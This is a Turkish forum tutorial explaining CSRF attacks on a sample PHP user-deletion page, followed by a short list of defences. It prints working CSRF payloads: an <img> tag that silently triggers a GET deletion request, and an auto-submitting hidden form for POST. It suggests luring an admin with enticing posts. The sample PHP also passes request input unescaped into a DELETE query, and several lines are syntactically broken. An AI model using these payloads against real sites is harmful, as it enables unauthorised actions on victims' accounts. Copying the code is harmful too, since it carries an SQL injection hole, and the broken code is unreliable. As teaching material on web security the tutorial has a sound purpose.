Merhaba arkadaşlar bu Makalemde sizlere CSRF(Cross Site Request Forgery)
yani türkçe karşıtı ile "Siteler Arası İstek Sahtekarlığı"ndan bahsedeceğim
CSRF Nedir ?
CSRF 3 Farklı isim (CSRF/XSRF/Session Riding) ile tanılabilir.Güven sömürüsüne dayanan bir açık türüdür.Bir web uygulamasına yapılacak olan saldırılar çeşitli yöntemlerle engellenmiş olabilir.Ancak bu engellemeler genelde tanımlı ve güvenilen kullanıcılardan ziyade,dışarıdan gelebilecek saldırılara karşı yapılır.XSRF saldırıları da web uygulamaları tarafından daha önce tanımlanan,bir session(Oturum) oluşturulan yani güvenilen bir kullanıcı üzerinden yapılır.Birnevi xss açığı gibi.
XSS'den farkı ne ?
Cross Site Scripting (XSS) saldırılarında amaç tanımlama bilgileri olsa da hedef web uygulamasıdır.İlgili uygulamaya çeşitli kodlar gömülür ve Xss açıkları oluşturulur ve bu açıklar kullanılarak kullanıcı cookieleri çalınır Cross Site Request Forgery (CSRF/XSRF/Session Riding) saldırılarında ise bu saldırılardan doğrudan web uygulama değil kullanıcı hedeflenir.Uygulamalara,daha önce doğrulanan kullanıcılar üzerinde komutlar gödererek saldırı yapılır.
Saldırı Yöntemleri
Get Metodu
Senaryomuza göre kullanıcıları silme sayfasi "kullaniciSil.php" olsun.Bu sayfa;GET metodu ile silinecek kullanıcının kullanıcı adını alsın ve veritabanından silsin.
Öncelik ile sistem için yazılımcının yazdığı kodu inceleyelim.
"baglan.php" dosyası ile veritabanına bağlanma işlemini gerçekleştirmiş.
baglan.php içeriği;
Kod:
<?php
session_start();
mysql_connect('localhost','root','');
mysql_select_db('csrf');
?>
kullaniciSil.php dosyası ile de kullaınıcıları listeliyor;
silmek istediği kullanıcıyı seçip silme işlemini gerçekleştiriyor.
kullaniciSil.php içeriği;
Kod:
<?php
require "baglan.php";
if(isset($_GET["sil"])){
$silinecekKullanici = $_GET["sil"];
$girisYapmisKullanici = $_SESSION["login"];
if($girisYapmisKullanici == "admin"){
mysql_query("DELETE FROM users WHERE username='$silinecekKullanici'");
echo " $silinecekKullanici adli kullanici silindi.!";
}
}
echo "Silinecek Kullaniciyi Secin : ".PHP_EOL;
echo "<form action='' method='get'>";
echo "<select name='sil'>;
$kullanicilar = mysql_query("SELECT * FROM users");
while($kullanici = mysql_fetch_assoc($kullanicilar)){
echo "<option>".$kullanici["username];
}
echo "</select>";
echo "<input type='submit' value='Kullaniciyisil'>;
echo "</form>";
?>
Yukarıdaki koda göre kullaniciSil.php dosyasına GET metodu ile sil parametresinden bir değer gelirse,gelen değeri veri tabanından silecek.
Silme işlemini yapmadan önce ufak bir kontrol gerçekleştiriyor.Bu kontrolde SESSION üzerinden giriş yapılan kullanıcının admin olup olmadığına bakıyor.Eğer admin ise silme işlemini gerçekleştiriyor.
Veritabanımızdaki kayıtlar örnek olarak
Kod:
admin:adminpass
kurban:1235123
xkullanıcı:324231
saldirgan:hacker1234
olduğunu varsayalım.ve xkullanıcı hesabını kullaniciSil.php'ye girerek silelim.Url ile gönderim yapmış olacak
Yukarıdaki işlemleri admin yerine saldirgan yapmış olssa idi if koşusundan dolayı silme sorgusunun çalıştığı kod bloğu çalışmayacaktı.
Url ile gönderim yapmış olacak demiştim bu urlyi (http://xdomain.com/csrf/kullaniciSil.php?sil=xkullanıcı)
Saldırgan admin'e bu request göndermesini sağlar isek amacına ulaşmış olacağız.Peki nasıl olacak.
Bakın Request dedim linke tıklaması önemli değil sadece request olması yeterli adminin.
bir bloğunuz veya websitenize yazılar yazın onun ilgisini çekecek şekilde ve bir
Kod:
<img src="urleniz"/>
"http://xdomain.com/csrf/kullaniciSil.php?sil=xkullanıcı" yazın
Örnek ;
Kod:
<img src="http://xdomain.com/csrf/kullaniciSil.php?sil=xkullanıcı"/>
POST Metodu
Aynı kodları kullanıp sadece formu GET değil de POST olarak gönderdiğimizi varsayalım.Bu gibi durumlarda metot POST olduğundan,sayfaya giden parametreleri adres çubuğundan göndermeyeceğiz.
kullaniciSil.php post metod;
Kod:
<?php
require "baglan.php";
if(isset($_POST["sil"])){
$silinecekKullanici = $_POST["sil"];
$girisYapmisKullanici = $_SESSION["login"];
if($girisYapmisKullanici == "admin"){
mysql_query("DELETE FROM users WHERE username='$silinecekKullanici'");
echo " $silinecekKullanici adli kullanici silindi.!";
}
}
echo "Silinecek Kullaniciyi Secin : ".PHP_EOL;
echo "<form action='' method='get'>";
echo "<select name='sil'>;
$kullanicilar = mysql_query("SELECT * FROM users");
while($kullanici = mysql_fetch_assoc($kullanicilar)){
echo "<option>".$kullanici["username];
}
echo "</select>";
echo "<input type='submit' value='Kullaniciyisil'>;
echo "</form>";
?>
Bu durumda form'dan veri seçilip gönderildiğinde veriler arkaplanda gizlice gönderildiğinden,Url üzerinden bir saldırı gerçekleştiremeyeceğiz.
Biz bu saldırıyı gerçekleştirirken;JavaScript'in form.submit() fonksiyonunu kullanacağız.Yani admin bizim hazırladığımız web sitesine veya sayfasına girecek.POST saldırısındada get saldırısı gibi yapacağız ama sayfa çalıştığında js tarafından oto olarak gönderilmesini sağlayacağız.
Kod:
<form name="form" action="http://xdomain.com/csrf/kullaniciSil.php" method="post">
<input type="hidden" name="sil" value="kurban">
</form>
<script type="text/javascript">********.form.submit();</script>
Korunma Yöntemleri
1.Kayıtlı Cookieler bilgisayarda uzun süre tutulmamalı.
2.Cookielerin Geçerlilik Süresini gözden geçirin.
3.Web sayfalardan çıkarken,açık olan oturum kapatılmalıdır.
4.HTTP Referer Başlığını Kontrol Edin.
5.Token Kullanın
6.Kimlik Doğrulama Seviyesini Arttırın.
7.Bilinenin aksine Get yerine Post kullanımı xsrf açığını engellemez.JavaScript kullanılarak bu önlem geçersiz kılınabilir.
8.Referer Kontrol
Son düzenleme:
